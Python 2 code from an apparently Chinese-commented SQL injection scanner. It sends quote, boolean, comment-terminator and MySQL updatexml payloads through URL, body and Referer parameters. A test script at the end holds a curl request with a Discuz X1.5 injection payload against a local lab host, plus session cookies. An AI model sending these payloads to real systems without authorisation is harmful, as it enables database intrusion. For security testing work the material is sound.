def checkFirstForReferer(self, url='', headers={}): ''' Header头Referer注入 输入参数: url,请求的URL 输出数据: json格式的注入检测结果 ''' theKey = "Referer" responseList = [] responseBase = request(url=url) headerPayloads = getHeaderdictByPayload( headerDict=headers, theKey=theKey, payloads=["'", "''", "'''", "\\", "\\", "\\\\\\"]) for headerPayload in headerPayloads: response = request(url=url, headers=headerPayload) databaseType = self.checkDatabase(body=response['response_body']) if databaseType: resultCheck = self.returnInjectResult( url=response['url'], confirm=True, detail="存在注入的URL:%s\n该注入类型为:Header头提交方式的数字型注入" % (response['url']), response=response) responseList.append(resultCheck) return responseList return False
def confirmInjectNumericForMysql(self, url="", queryDict={}, bodyDict={}, headers={}, theKey="", method="GET"): ''' 确认数字型SQL注入 ''' responseList = [] payloadStr1 = "updatexml(1,concat(0x3a,(select%20\"inject_integer_tester\")), 1)" payloads = [payloadStr1] injectWay = "append" urls = getUrlsByQuerydictBodydictPayloads(url, queryDict, bodyDict, payloads, theKey, injectWay) response = request(url=urls[0]['url'], body=urls[0]['body'], headers=headers, method=method) if response['httpcode'] == 200 and response['response_body'].find( 'inject_integer_tester') > 0: resultCheck = self.returnInjectResult( url=url, confirm=True, detail="存在注入的URL:%s\n该注入类型为:%s提交方式的数字型注入" % (response['url'], method), response=response) responseList.append(resultCheck) return responseList return False
def checkInjectSearchForCommon(self, url="", queryDict={}, bodyDict={}, headers={}, theKey="", method="GET"): ''' 通用版 搜索型SQL注入检测 ''' ''' 搜索型真假值,误报率 50% 通过数字等于或不等于,根据内容是否一致来判断SQL注入的概率 %' AND 1819=4502 AND '%'=' %' AND 1265=1265 AND '%'=' ''' responseList = [] value1, value2 = getRandomTwoDiffent() payloadStr1 = "%' AND " + str(value1) + "=" + str( value1) + " AND '%'='" payloadStr2 = "%' AND " + str(value1) + "=" + str( value2) + " AND '%'='" payloads = [payloadStr1, payloadStr2] injectWay = "append" urls = getUrlsByQuerydictBodydictPayloads(url, queryDict, bodyDict, payloads, theKey, injectWay) responseTrue = request(url=urls[0]['url'], body=urls[0]['body'], headers=headers, method=method) responseFalse = request(url=urls[1]['url'], body=urls[1]['body'], headers=headers, method=method) if responseTrue['httpcode'] == 200 and responseFalse[ 'httpcode'] == 200 and confirmInject( responseTrue=responseTrue, responseFalse=responseFalse): resultCheck = self.returnInjectResult( url=url, confirm=True, detail="存在注入的URL:%s\n该注入类型为:%s提交方式的数字型注入" % (responseFalse['url'], method), response=responseFalse) responseList.append(resultCheck) return responseList return False
def checkFirst(self, url="", queryDict={}, bodyDict={}, headers={}, theKey="", method="GET"): ''' 第一次检测,主要用于检测数据库类型,粗略的SQL注入检测 ''' responseList = [] #检查单引号',反斜线\ ,主要用于判断SQL报错,判断数据库类型 urls = getUrlsByQuerydictBodydictPayloads(url, queryDict, bodyDict) responseBase = request(url=urls[0]['url'], body=urls[0]['body'], headers=headers, method=method) #判断httpcode状态位 if responseBase['httpcode'] != 200: return False #检测数据库类型,数据库类型放在 self.database 变量中 self.checkDatabase2(url, queryDict, bodyDict, headers, method=method) ''' 检查key对应的值是数字型还是字符串型 如果全部是数字,则先用数字型判断,如果能确认SQL注入,则直接返回 直接用正则匹配的方式来判断,并不准确,因此没能确认SQL注入时,后面依然使用字符串型及搜索型进行尝试 ''' if (queryDict.has_key(theKey) and re.match(r'(\d+)', queryDict[theKey]) ) or (bodyDict.has_key(theKey) and re.match(r'(\d+)', bodyDict[theKey])): result = self.checkInjectNumericForCommon(url, queryDict, bodyDict, headers, theKey, method, responseBase) if result: return result #字符串型 result = self.checkInjectStrForCommon(url, queryDict, bodyDict, headers, theKey, method) if result: return result #搜索型 result = self.checkInjectSearchForCommon(url, queryDict, bodyDict, headers, theKey, method) if result: return result return False
def checkDatabase2(self, url, queryDict={}, bodyDict={}, headers={}, method="GET"): payloads = ["'", "''", "'''", "\\", "\\", "\\\\\\"] #如果已经检测到数据库类型,直接返回结果 if hasattr(self, 'database'): return self.database #URL是否已经进行过数据库类型检查 if hasattr(self, 'checkedDatabaseUrls'): if url in self.checkedDatabaseUrls: return False else: self.checkedDatabaseUrls = [] self.checkedDatabaseUrls.append(url) #构造待请求的URL urls = getUrlsByQuerydictBodydictPayloads(url, queryDict, bodyDict, payloads=payloads) #遍历URL,并判断数据类型 self.database = "" for row in urls: response = request(url=row['url'], body=row['body'], headers=headers, method=method) for dbname in sqlErrorDict: for row in sqlErrorDict[dbname]: if row['type'] == 'normal': if response['response_body'].find(row['search']) >= 0: self.database = dbname elif row['type'] == 'regular': if re.search(row['search'], response['response_body']) >= 0: self.database = dbname else: pass break if self.database: return self.database else: return False
def checkInjectNumericForCommon(self, url="", queryDict={}, bodyDict={}, headers={}, theKey="", method="GET", responseBase={}): ''' 通用版 数字型SQL注入检测 ''' ''' 数字转换为表达式类型,准确度较高 将数字转换为表达式后,结果是否一致,一致,则50%+有SQL注入 id=1 id=9001-9000 ''' responseList = [] payloads = [] if queryDict.has_key(theKey): value = int(queryDict[theKey]) + 3000 payloads.append(str(value) + "-3000") if bodyDict.has_key(theKey): value = int(bodyDict[theKey]) + 3000 payloads.append(str(value) + "-3000") injectWay = "replace" urls = getUrlsByQuerydictBodydictPayloads(url, queryDict, bodyDict, payloads, theKey, injectWay) row = urls[0] responseFalse = request(url=row['url'], body=row['body'], headers=headers, method=method) if responseBase['httpcode'] == 200 and responseFalse[ 'httpcode'] == 200 and confirmInject( responseTrue=responseBase, responseFalse=responseFalse): resultCheck = self.returnInjectResult( url=url, confirm=True, detail="存在注入的URL:%s\n该注入类型为:%s提交方式的数字型注入" % (responseFalse['url'], method), response=responseFalse) responseList.append(resultCheck) return responseList #resultConfirm = confirmInjectNumericForMysql(url=url, queryDict=queryDict, theKey=theKey) #if resultConfirm: # return resultConfirm #else: # return False ''' 数字真假值判断,误报率 30% 通过数字等于或不等于,根据内容是否一致来判断SQL注入的概率 AND 2142=6509 AND 1265=1265 ''' value1, value2 = getRandomTwoDiffent() payloadStr1 = " AND " + str(value1) + "=" + str(value1) payloadStr2 = " AND " + str(value1) + "=" + str(value2) payloads = [payloadStr1, payloadStr2] injectWay = "append" urls = getUrlsByQuerydictBodydictPayloads(url, queryDict, bodyDict, payloads, theKey, injectWay) responseTrue = request(url=urls[0]['url'], body=urls[0]['body'], headers=headers, method=method) responseFalse = request(url=urls[1]['url'], body=urls[1]['body'], headers=headers, method=method) if responseTrue['httpcode'] == 200 and responseFalse[ 'httpcode'] == 200 and confirmInject( responseTrue=responseTrue, responseFalse=responseFalse): resultCheck = self.returnInjectResult( url=url, confirm=True, detail="存在注入的URL:%s\n该注入类型为:%s提交方式的数字型注入" % (responseFalse['url'], method), response=responseFalse) responseList.append(resultCheck) return responseList ''' 数字真假值及mysql中止符,误报率 50% 通过数字等于或不等于,根据内容是否一致来判断SQL注入的概率 --在SQL中代表中止符 AND 2142=6509-- sMWn AND 1265=1265-- sMWn ''' payloadStr1 = " AND " + str(value1) + "=" + str(value1) + "-- sMWn" payloadStr2 = " AND " + str(value1) + "=" + str(value2) + "-- sMWn" payloads = [payloadStr1, payloadStr2] injectWay = "append" urls = getUrlsByQuerydictBodydictPayloads(url, queryDict, bodyDict, payloads, theKey, injectWay) responseTrue = request(url=urls[0]['url'], body=urls[0]['body'], headers=headers, method=method) responseFalse = request(url=urls[1]['url'], body=urls[1]['body'], headers=headers, method=method) if responseTrue['httpcode'] == 200 and responseFalse[ 'httpcode'] == 200 and confirmInject( responseTrue=responseTrue, responseFalse=responseFalse): resultCheck = self.returnInjectResult( url=url, confirm=True, detail="存在注入的URL:%s\n该注入类型为:%s提交方式的数字型注入" % (responseFalse['url'], method), response=responseFalse) responseList.append(resultCheck) return responseList return False
from engine_utils.DictData import headerDictDefault from engine_utils.yd_http import request from engine_utils.common import getResponse from engine_utils.InjectSql import InjectSql from engine_utils.InjectUrlLib import parseCurlCommand from engine_utils.params import query2dict, db_params2dict, post_all_query2dict curlCommand = '''curl 'http://discuzx15.target.safety.local.com/misc.php?mod=stat&op=trend&xml=1&merge=3&types[1]=password`as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as' -H 'Host: discuzx15.target.safety.local.com' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: 9nII_2132_auth=6feeYFaU%2BSWWYrimX3WmHxLJQ2WhAvGunJvEBYo%2FkWYHQQP3FryzAeMSfIwhsFXfOQxG4CaV%2BZLQElcFuBKo; 9nII_2132_lastvisit=1481611136; 9nII_2132_sid=mezr7J; 9nII_2132_lastact=1481619249%09misc.php%09stat; 9nII_2132_ulastactivity=89efLVoBzc8xPIxF5rUhm4QMBgm4ntoFzNQ9J8t2G2XjDNrEOFqE' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' '''; result = parseCurlCommand(curlCommand) #print result #headers = headerDictDefault headers = result['headers'] print headers headers['cookie'] = result['cookie'] response = request(url=result['url'], headers=headers) #print response['response_body'] sys.exit(1) ''' bodyStr = '[{"type":"submit","name":"seclev_submit","value":"Submit"},{"type":"select","name":"security","value":"low"}]' bodyStr = '' bodyDict = db_params2dict(bodyStr) print bodyDict sys.exit(1) ''' ''' #url = "http://www.lsu.edu.cn/_web/search/doSearch.do?_p=YXM9NCZ0PTUmZD04NCZwPTEmbT1TTiY_" url = "http://www.lsu.edu.cn/_web/search/doSearch.do" print post_all_query2dict(url)